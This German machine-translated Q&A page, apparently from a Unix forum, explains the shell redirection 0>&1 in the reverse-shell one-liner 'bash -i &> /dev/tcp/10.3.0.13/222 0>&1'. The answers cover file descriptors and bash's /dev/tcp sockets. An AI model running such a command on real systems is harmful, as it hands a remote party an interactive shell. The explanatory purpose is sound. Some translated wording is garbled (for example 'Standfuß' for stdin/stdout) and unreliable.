Was bedeutet die Shell-Umleitung 0>&1?

Was bedeutet die Shell-Umleitung 0>&1?

versuche den Befehl zu verstehen:

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

das heißt, dass STDIN von „bash -i“ den Inhalt von STDOUT erhält?

Antwort1

&> fileselbst ist dasselbe wie > file 2>&1, das fileim Nur-Schreib-Modus auf Dateideskriptor 1 geöffnet ist, und dupliziert diesen Dateideskriptor 1 auf Dateideskriptor 2, so dass sowohl fd 1 als auch 2 (stdout und stderr) darauf zeigenDateibeschreibung öffnen

0>&1(dasselbe wie 0<&1oder <&1) fügt 0 (stdin) zur Liste hinzu. Es dupliziert auch fd 1 auf 0 (fd 0 wird so eingestellt, dass es auf dieselbe Ressource verweist wie fd 1).

Wenn Sie nun > /dev/tcp/host/portin ausführen bash(wie in ksh, woher die Funktion stammt), wird anstelle von ein open(file, O_WRONLY)ein bashTCP-Socket erstellt und mit verbunden host:port. Das ist keinNur SchreibenUmleitung, das ist ein Lese-/Schreib-Netzwerk-Socket.

Sie erhalten also die FDS 0, 1 und 2 bash -ieines TCP-Sockets. Wenn bash -iauf seinem Standardeingang gelesen wird, liest es aus dem Socket, also von dem, was sich am anderen Ende befindet, host:postund wenn es (oder ein von dort ausgeführter Befehl) in FDS 1 oder 2 schreibt, wird es über diesen Socket gesendet.

Antwort2

Gehen wir Schritt für Schritt vor.

  1. bash -i: öffnet eine interaktive Shell
  2. &>: leitet die Standardausgabe und den Fehler an den Socket um, der für die IP 10.3.0.13 geöffnet ist und auf Port 222 lauscht.
  3. 0>&1: Ich lese es gerne als 0<&1. Das würde wörtlich bedeuten, dass „0“ an „1“ angehängt ist, was wiederum bedeutet, dass stdin an stdout angehängt ist, und aus Aufzählungspunkt 2 wissen wir, dass stdin für diesen Bash-Prozess dem Angreifer zur Verfügung steht, der auf Port 222 lauscht.

Antwort3

Kurz gesagt öffnet der Befehl eine interaktive Bash-Shell, die Eingaben von einem durch die IP angegebenen Host liest und ihre Ausgaben und Fehler über einen TCP-Socket an diesen überträgt.

Einzelheiten: (!!! Da ich kein Experte bin, sind einige Beschreibungen möglicherweise nicht genau oder präzise.)

&> /dev/tcp/10.3.0.13/222besteht aus zwei Teilen. Erstens:

/dev/tcp/10.3.0.13/222

Bash behandelt einige Dateinamen speziell, wenn sie in Umleitungen verwendet werden, wie /dev/tcp/host/port

Wenn „Host“ ein gültiger Hostname oder eine gültige Internetadresse und „Port“ eine ganzzahlige Portnummer oder ein Dienstname ist, versucht Bash, den entsprechenden TCP-Socket zu öffnen.

Zweite:

der &>Umleitungsoperator, um Standardausgabe und Standardfehler in dieselbe Datei umzuleiten.

Das heißt, &> /dev/tcp/10.3.0.13/222es öffnet sich der entsprechende TCP-Socket und leitet die Standausgabe sowie Standfehler an den Socket um.

Umleitungen weisen tatsächlich einen neuen Dateideskriptor zu, der auf dieselbe offene Dateibeschreibung verweist wie der alte Deskriptor.

Eine offene Dateibeschreibung ist ein Eintrag in der systemweiten Tabelle offener Dateien. Die offene Dateibeschreibung zeichnet den Dateioffset und die Dateistatusflags auf. Ein Dateideskriptor ist ein Verweis auf eine offene Dateibeschreibung. Dieser Verweis bleibt unverändert, wenn der Pfadname später entfernt oder geändert wird, um auf eine andere Datei zu verweisen.

Somit ist eigentlich dieStandfußUndStandfehler(es sind eigentlich Dateideskriptoren) undder Dateideskriptor des Socketsbezieht sich jetzt auf das gleicheDateibeschreibung öffnen. Das bedeutet, dass immer, wenn es Ausgaben oder Fehler von der Bash gibt, diese Daten in den Socket geschrieben und an den oben angegebenen Zielhost gesendet werden.

0>&1

leitet dieStandfußzumStandfuß. Wenn man die Idee von oben verwendet, bedeutet es wörtlich dieStandfußbezieht sich auf das gleicheDateibeschreibung öffnenbezeichnet durch dieStandfuß; das ist dasselbe, auf das sich auch dieStandfehlerUndder Dateideskriptor des Sockets. Das bedeutet, dass immer wenn der Host, der diesen Befehl ausgeführt hat, Daten über dasTCP-Socket, die Bash liest es als Eingabe.

Wenn Sie nicht wissen, was Umleitungen eigentlich bedeuten, ist es ziemlich schwierig zu verstehen, was mit der Umleitung derStandfußzumStandfuß. Es bedeutet nicht, lesen Sie dieStandfußals dieStandfuß, da es keinen Sinn ergibt. Es bedeutet eigentlich dieStandfußund dasStandfußbezieht sich auf das gleicheDateibeschreibung öffnen. Der Befehl liest also seine Eingabe und liefert seine Ausgabe an die gleiche Datei, wie hier den Socket.

Verweise:

https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Redirections https://man7.org/linux/man-pages/man2/dup.2.html

https://man7.org/linux/man-pages/man2/open.2.html

https://man7.org/linux/man-pages/man2/socket.2.html

verwandte Informationen